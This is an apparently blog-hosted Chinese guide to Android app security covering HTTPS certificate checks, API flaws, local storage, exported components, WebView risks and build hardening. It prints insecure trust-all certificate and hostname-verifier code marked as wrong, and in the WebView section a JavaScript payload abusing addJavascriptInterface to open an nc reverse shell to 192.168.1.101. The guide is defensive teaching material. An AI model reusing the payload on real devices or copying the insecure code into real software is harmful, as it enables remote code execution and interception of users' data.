# App信息安全

隨着移動互聯網的發展,各大傳統保險公司和銀行金融公司都開發了自己的App,那麼App的信息安全就變得非常重要了。如果App的安全級別不夠那麼會發生隱私泄露,更重要的會產生財產損失。下面我將從下面五點來考慮app的信息安全。

一、網絡傳輸安全

分爲三種方式:

1. 自定義Socket通信

需要自定義數據加密方式,選擇加密算法,選擇祕鑰管理模式等等,在實現細節上需要考慮加密算法的實現機制、加密性能、祕鑰的安全管理等。

2. Http通信

  • 數據傳輸是明文的,直接可以採用Charles等工具攔截數據。
  • http如果連接域名,可以通過DNS欺騙的方式將用戶引入釣魚網站。

3. Https通信

https客戶端需要驗證服務器下發證書的有效性。如果客戶端忽略驗證,就存在被中間人攻擊的可能,

1. 使用WebView進行Https通信

1. 使用可信任機構頒發的證書

Android內置了一些可信任機構頒發的證書,可用於Https證書校驗。WebView對可信任證書進行校驗也是系統默認去做的。繼承WebViewClient類重寫如下方法:

public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
    super.onReceivedSslError(view, handler, error);
    //如下是錯誤的代碼,相當於忽略證書校驗
    //handler.proceed();
    //帶有可信任機構頒發證書的Https站點這個方法中無需做任何操作。
}
2. 自簽名證書

自簽名的證書WebView加載網頁會報錯我們需要覆蓋onReceivedSslError方法進行自簽名證書的校驗,點擊這裏查看

2. 使用HttpClient或HttpsURLConnection進行Https通信

對於僅需要獲取Https站點返回數據,通常用HttpClient和HttpsURLConnection通信,證書校驗有兩個重要的類:X509TrustManager和HostnameVerifier,前者用於證書校驗,後者用於域名校驗。

1.X509TrustManager
1. 信任所有證書

如果信任所有證書,那麼https將失去作用,攻擊者可以使用自簽名證書,來進行中間人攻擊,拿到通信的數據。也可以結合DNS欺騙,是用戶訪問惡意網站,造成信息泄露。
如下錯誤的例子:

private static class TrustAllCAManager implements X509TrustManager {
    @Override
    public void checkClientTrusted(X509Certificate[] chain, String authType)
            throws CertificateException {
            //不做任何校驗
    }

    @Override
    public void checkServerTrusted(X509Certificate[] chain, String authType)
            throws CertificateException {
            //不做任何校驗
    }

    @Override
    public X509Certificate[] getAcceptedIssuers() {
        //不做任何校驗
        return new X509Certificate[0];
    }
}
2. 信任可信機構頒發的Https證書

開發者無需實現X509TrustManager接口,Android可以使用系統自帶的證書校驗機制,如下代碼:

SSLContext sslContext = SSLContext.getInstance("TLS");
            sslContext.init(null, null, new SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sslContext.getSocketFactory());
//上面代碼都是默認代碼,可信任機構頒發的CA證書可以不用寫上面代碼直接用如下代碼進行網絡請求,Android系統會自動校驗
HttpsURLConnection httpsURLConnection = (HttpsURLConnection) new URL("url").openConnection();
3. 信任自簽名Https證書

如果是自簽名的證書,那麼只能手動實現X509TrustManager接口來信任證書,如下代碼:

public static KeyStore getKeyStore() {
        //多個證書,有的時候因爲證書過期需要客戶端適配
        String[] certs = new String[]{CERT, CERT1, CERT2};
        try {
            String keyStoreType = KeyStore.getDefaultType();
            KeyStore keyStore = KeyStore.getInstance(keyStoreType);
            keyStore.load(null, null);

            for (int i = 0; i < certs.length; i++) {
                InputStream inputStream = new ByteArrayInputStream(certs[i].getBytes("UTF-8"));
                CertificateFactory cf = CertificateFactory.getInstance("X.509");
                Certificate ca = null;
                try {
                    ca = cf.generateCertificate(inputStream);
//                System.out.println("ca=" + ((X509Certificate) ca).getSubjectDN());
                } catch (Exception e) {
                    e.printStackTrace();
                } finally {
                    inputStream.close();
                }
                if (null != ca) {
                    keyStore.setCertificateEntry("ca" + i, ca);
                }
            }
            return keyStore;
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
}

public static void trustCertificate(HttpsURLConnection httpsURLConnection) {
        try {
            KeyStore keyStore = getKeyStore();
            String tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();
            TrustManagerFactory tmf = TrustManagerFactory.getInstance(tmfAlgorithm);
            tmf.init(keyStore);
            final SSLContext sslContext = SSLContext.getInstance("TLS");
            sslContext.init(null, tmf.getTrustManagers(), null);
        } catch (Exception e) {
            e.printStackTrace();
        }
}
1.HostnameVerifier

用於實現Https通信中域名安全校驗,驗證當前鏈接的Https的站點和SSL證書中的域名是否相等。
錯誤代碼:

client.setHostnameVerifier(new HostnameVerifier() {
    @Override
    public boolean verify(String hostname, SSLSession sslSession) {
        //不做任何驗證直接返回true
        return true;
    }
});
//使用自帶不安全的HostnameVerifier,如下代碼       httpsURLConnection.setHostnameVerifier(org.apache.http.conn.ssl.SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);

正確代碼:

request.setHostnameVerifier(new HostnameVerifier() {
    @Override
    public boolean verify(String hostname, SSLSession session) {
                // TODO Auto-generated method stub
                try {
                    String peerHost = session.getPeerHost(); //服務器返回的主機名
                    String str_new = "";
                    X509Certificate[] peerCertificates = (X509Certificate[]) session
                            .getPeerCertificates();
                    for (X509Certificate certificate : peerCertificates) {
                        X500Principal subjectX500Principal = certificate
                                .getSubjectX500Principal();
                        String name = subjectX500Principal.getName();
                        String[] split = name.split(",");
                        for (String str : split) {
                            if (str.startsWith("CN")) {//證書綁定的域名或者ip
                                if (peerHost.equals(hostname)&&str.contains("客戶端預埋的證書cn字段域名")) {
                                    return true;
                                }
                            }
                        }
                    }
                } catch (SSLPeerUnverifiedException e1) {
                    // TODO Auto-generated catch block
                    e1.printStackTrace();
                }
                return false;
    }
});   
//使用自帶的安全的HostnameVerifier
httpsURLConnection.setHostnameVerifier(org.apache.http.conn.ssl.SSLSocketFactory.STRICT_HOSTNAME_VERIFIER);

3. 接口漏洞

  1. 假如用戶User在某電商App上的訂單詳情爲http://www.xxxx.com/orderdetail?orderid=123, 如果接口沒有對登錄信息做驗證(登錄Token),只憑借一個orderid獲取數據,那麼攻擊者就可以從orderid=0開始一直遍歷到9999,那麼將會造成大量的訂單信息泄露。
  2. 假如增加積分接口沒有進行校驗,那麼我抓到一個增加積分的接口,偷換裏面的userid,那麼很多沒有完成任務的用戶都被加上積分了,造成公司的損失。
  3. 如果驗證碼沒有次數控制,也沒有識別是人操作還是機器操作,那麼極容易形成短信轟炸。

登錄流程:

  1. 不允許在app本地保存用戶名和密碼
  2. 登錄驗證通過後服務器下發token,客戶端使用token進行身份驗證
  3. token應該保存在app的內部存儲空間中,不允許其他app訪問。
  4. 登錄接口要增加驗證碼且控制短信下發次數。

二、本地緩存安全

1. 敏感信息

敏感信息泄漏有可能會危害到用戶的財產損失和隱私泄漏,敏感信息大概有如下幾個方面:
用戶信息:姓名,身份證,生日,手機號,銀行卡號,持卡人,有效期,驗證碼(CAV2/CVV2/CVC2/CID),卡號後四位
訂單信息:訂單列表,訂單詳情,收件人信息,被保險人信息
卡券信息:各種優惠卡,打折卡,禮品卡
日誌信息:登錄、行爲、token等私有日誌

  1. 不允許將密碼、卡券信息、支付相關信息保存在本地
  2. 理論上是不允許敏感信息保存在本地的,但是由於有些信息使用非常頻繁,如果確定要保存在本地那麼只能保存到私有存儲空間裏,並且使用AES256加密算法進行加密。
  3. app端顯示敏感信息,請將敏感信息部分脫敏,常用的就是加*屏蔽處理。

2. 外部存儲(external storage)

敏感信息不允許保存在外部存儲。外部存儲分三種形式:

  1. Environment.getExternalStorageDirectory().getAbsoluteFile()+ File.separator +"CustomDir" + File.separator + "CustomFileName";用這種方式存儲數據,不會被應用詳情中的”清除數據“和”清除緩存“刪除。App卸載也不會被Android系統自動刪除。
  2. mContext.getExternalFilesDir(null).getAbsoluteFile()+ File.separator +"CustomDir" + File.separator + "CustomFileName";這種方式存儲數據,會被”清除數據“所刪除,App卸載也會被Android系統自動刪除。路徑爲/Sdcard/Android/data/<package>/files/<customfile>
  3. mContext.getExternalCacheDir().getAbsoluteFile()+ File.separator +"CustomDir" + File.separator + "CustomFileName";這種方式存儲數據,會被”清除緩存“所刪除,App卸載也會被Android系統自動刪除。路徑爲/Sdcard/Android/data/<package>/cache/<customfile>

3. 內部存儲(internal storage)

內部存儲路徑/data/data/<package>。通過context.getFilesDir()或context.getCacheDir()獲取路徑data/data/<package>/files或data/data/<package>/cache

  1. 存儲包含敏感信息的文件必須使用內部存儲
  2. 存儲模式必須設置MODE_PRIVATE
  3. 敏感信息必須加密且加密算法符合安全規範

4. 本地數據庫

  1. 數據庫保存在內部存儲中,並設置MODE_PRIVATE
  2. 如果要對其他app提供數據使用contentprovider
  3. SQL語句避免採用拼接參數的方式,採用參數化的方式ContentValues綁定參數

5. 圖片保存

1.保存圖片中包含用戶敏感信息,應該是用戶主動出發,並且提示用戶”圖片包含敏感信息,使用完請刪除“
2.保存路徑應該是系統相冊的目錄

三、源碼安全

1. Activity

activity如果使用不當會導致一些安全問題,例如:android:exported="true"的Activity如果返回了敏感信息,攻擊者就會輕鬆的吊起這個public activity來獲取隱私,或者攻擊者會給這個public activity傳遞髒數據,導致app崩潰。
activity分四個等級權限由高到底

1. 內部使用(private)

僅僅適用於app內部使用,外部app無法調用;將android:exported="true"設置成true這樣外部app就無法調用

2. 簽名相同(in-house)

1.定義權限如下代碼,調用activity必須符合如下權限

<permission android:name="com.xxx.xxx.XXX"
        android:protectionLevel="signature"/>

2.聲明activity如下代碼,必須保證外部app可以調用android:exported=true,必須保證外部app調用時需要申請權限android:permission="com.xxx.xxx.XXX"

 <activity android:name=".AActivity"
            android:exported="true"
            android:permission="com.xxx.xxx.XXX"/>

3.其他app調用這個Activity如下代碼

    //AndroidManifest.xml申請權限
    <uses-permission android:name="com.xxx.xxx.XXX"/>
    //Activity校驗被調用的activity簽名是否一致
    //如果一致調用Activity同時傳遞參數使用putExtra方式傳遞
    if(checkSignSha1()){
            //簽名相同,跳轉到Activity
            //putExtra方式傳遞
    }else{
            //簽名不相同
    }
    
    private boolean checkSignSha1(){
        String curSha1 = getSignSha1(this.getPackageName());
        String partnerSha1 = getSignSha1("partner package");
        return curSha1.equals(partnerSha1);
    }
    /**
     * 開始獲得簽名
     *
     * @param packageName 報名
     * @return
     */
    private String getSignSha1(String packageName) {
        Signature[] arrayOfSignature = getRawSignature(this, packageName);
        if ((arrayOfSignature == null) || (arrayOfSignature.length == 0)) {
//            errout("signs is null");
            return null;
        }
        return getMessageDigest(arrayOfSignature[0].toByteArray());
    }

    private Signature[] getRawSignature(Context paramContext, String paramString) {
        if ((paramString == null) || (paramString.length() == 0)) {
//            errout("獲取簽名失敗,包名爲 null");
            return null;
        }
        PackageManager localPackageManager = paramContext.getPackageManager();
        PackageInfo localPackageInfo;
        try {
            localPackageInfo = localPackageManager.getPackageInfo(paramString, PackageManager.GET_SIGNATURES);
            if (localPackageInfo == null) {
//                errout("信息爲 null, 包名 = " + paramString);
                return null;
            }
        } catch (PackageManager.NameNotFoundException localNameNotFoundException) {
//            errout("包名沒有找到...");
            return null;
        }
        return localPackageInfo.signatures;
    }

    public static final String getMessageDigest(byte[] cert) {
        MessageDigest md = null;
        try {
            md = MessageDigest.getInstance("SHA1");
            byte[] publicKey = md.digest(cert);
            StringBuffer hexString = new StringBuffer();
            for (int i = 0; i < publicKey.length; i++) {
                String appendString = Integer.toHexString(0xFF & publicKey[i])
                        .toUpperCase(Locale.US);
                if (appendString.length() == 1)
                    hexString.append("0");
                hexString.append(appendString);
                hexString.append(":");
            }
            String result = hexString.toString();
            return result.substring(0, result.length() - 1);
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
        return null;
}

3. 合作伙伴(partner)

該Activity只能被合作伙伴調用,我們在Activity.onCreate增加白名單機制,如果不符合白名單無法進入頁面。
1.android:exported=true
2.activity.oncreate 白名單校驗

4. 公開使用(public)

可以被任何app訪問,要小心控制輸入進來的數據:
1.android:exported=true
2.謹慎控制收到的Intent數據,不應該根據Intent中的數據來判斷後續的流程
3.不要返回敏感信息

2. Service

1. 內部Service(private)

1.android:exported=false
2.如果是推送消息最好使用內部Service,防止惡意軟件停掉推送

2. 外部Service(public)

1.android:exported=true
2.通過Intent傳遞敏感信息需要加密傳輸

3. ContentProvider

對contentprovider的使用也是需要注意的;敏感信息保存在 私有的contentprovider,否則會造成隱私泄露。

4. 日誌

1.Release版本不允許想LogCat中輸出任何日誌
2.Debug版本App打印信息只允許android.util.Log中的方法,不允許使用System.out和System.err相關方法打印
3.Debug如果要打印敏感信息需要加密
4.在導出Release中使用Proguard的配置文件來去掉Log

-assumenosideeffects class android.util.Log {
     public static boolean isLoggable(java.lang.String, int);
     public static int v(...);
     public static int i(...);
     public static int w(...);
     public static int d(...);
     public static int e(...);
}

四、WebView安全

1. JavascriptInterface導致遠程代碼漏洞

漏洞發生條件:
1.Android <=4.1.2 (API 16)
2.webview 開啓JavascriptInterface
3.WebView加載惡意Url頁面
假如:惡意網站加載包含如下js代碼的url頁面,在Javascript代碼中,利用Java反射機制,通過interfaceObject獲取當前Runtime對象引用,並調用其exec方法執行nc命令連接服務器8088及8089端口。
這只是其中攻擊手段之一,還可以給指定號碼發送短信等其他攻擊手段

<script type="text/javascript">
function check()
{
  for (var obj in window)
   {
      try {
            if ("getClass" in window[obj]) {
                   try{
                         ret= interfaceObject.getClass().forName("java.lang.Runtime").getMethod('getRuntime',null).invoke(null,null).exec(['/system/bin/sh','-c','nc 192.168.1.101 8088|/system/bin/sh|nc 192.168.1.101 8089']);
                   }catch(e){
                        }
            }
      } catch(e) {
                 }
   }
} check();
</script>

如果必須開啓JavascriptInterface,那麼需要保證加載的url是安全的在每個native java代碼中進行安全校驗

2. WebView加載內部資源

1.apk內部資源文件
2.apk中公司信任的URL
安全規範:
1.不要加載除頁面資源以外的文件,setAllowFileAccess(false)
對於需要使用 file 協議的應用,禁止 file 協議加載 JavaScript

setAllowFileAccess(true); 

// 禁止 file 協議加載 JavaScript
if (url.startsWith("file://") {
    setJavaScriptEnabled(false);
} else {
    setJavaScriptEnabled(true);
}

2.加載URL的時候使用Https協議
3.在WebViewClient.shouldOverrideUrlLoading中校驗url是否是白名單

@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
    if(isWhiteList()){
        view.loadUrl(url);
    }else{
        //錯誤處理
    }
    return true;
}

3.WebView加載外部資源

1.apk外部文件
2.非信任的url
3.用戶指定的資源
安全規範:
1.沒有明確需求不要開啓Javascript支持(addJavascriptInterface),如果必須開啓那麼需要保證加載的url是安全的在每個native java代碼中進行安全校驗;
2.對於3.0版本只有的WebView默認內置了一些JavascriptInterface,分別是searchBoxJavaBridge_、accessibility、accessibilityTraversal,對於加載外部資源應該調用removeJavascriptInterface()方法刪除內置的三個JavascriptInterface對象
3.不要開啓瀏覽器插件支持setPluginState(WebSettings.PluginState.OFF);
4.不要開啓本地文件訪問setAllowFileAccess(false)

五、編譯級別安全

1.Release版本中android:allowBackup="false"
2.Release版本中android:debuggable="false"
3.對代碼進行混淆
4.對app進行加固例如:愛加密、360加固保等第三方工具

六、交互層面的安全

1.單點,或者多點登錄,不允許一個手機號無限制的登錄
2.敏感信息頁面用戶切換到後臺,後臺任務列表中應該是空白,不應該保留當前頁面的快照
3.敏感信息頁面展示脫敏
4.登錄手勢驗證,隔一段時間如果要進入敏感頁面需要彈出手勢驗證,如果不設置手勢最嚴格的控制需要短信驗證碼驗證
5.輸入法,因爲輸入法是第三方app,說以非常容易造成信息泄露的,身份信息,賬號密碼都是由輸入法輸入的,輸入法在系統層面時刻保持存活,可以採取自定義安全鍵盤,讓app使用自己的鍵盤並且每次彈出輸入法,或者App重新啓動安全鍵盤的字母順序都會改變等策略。

參考資料如下:
[android開發篇]自定義權限
Android Webview SSL 自簽名安全校驗解決方案
DNS欺騙攻擊
HTTPS連接過程以及中間人攻擊劫持
你不知道的 Android WebView 使用漏洞

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章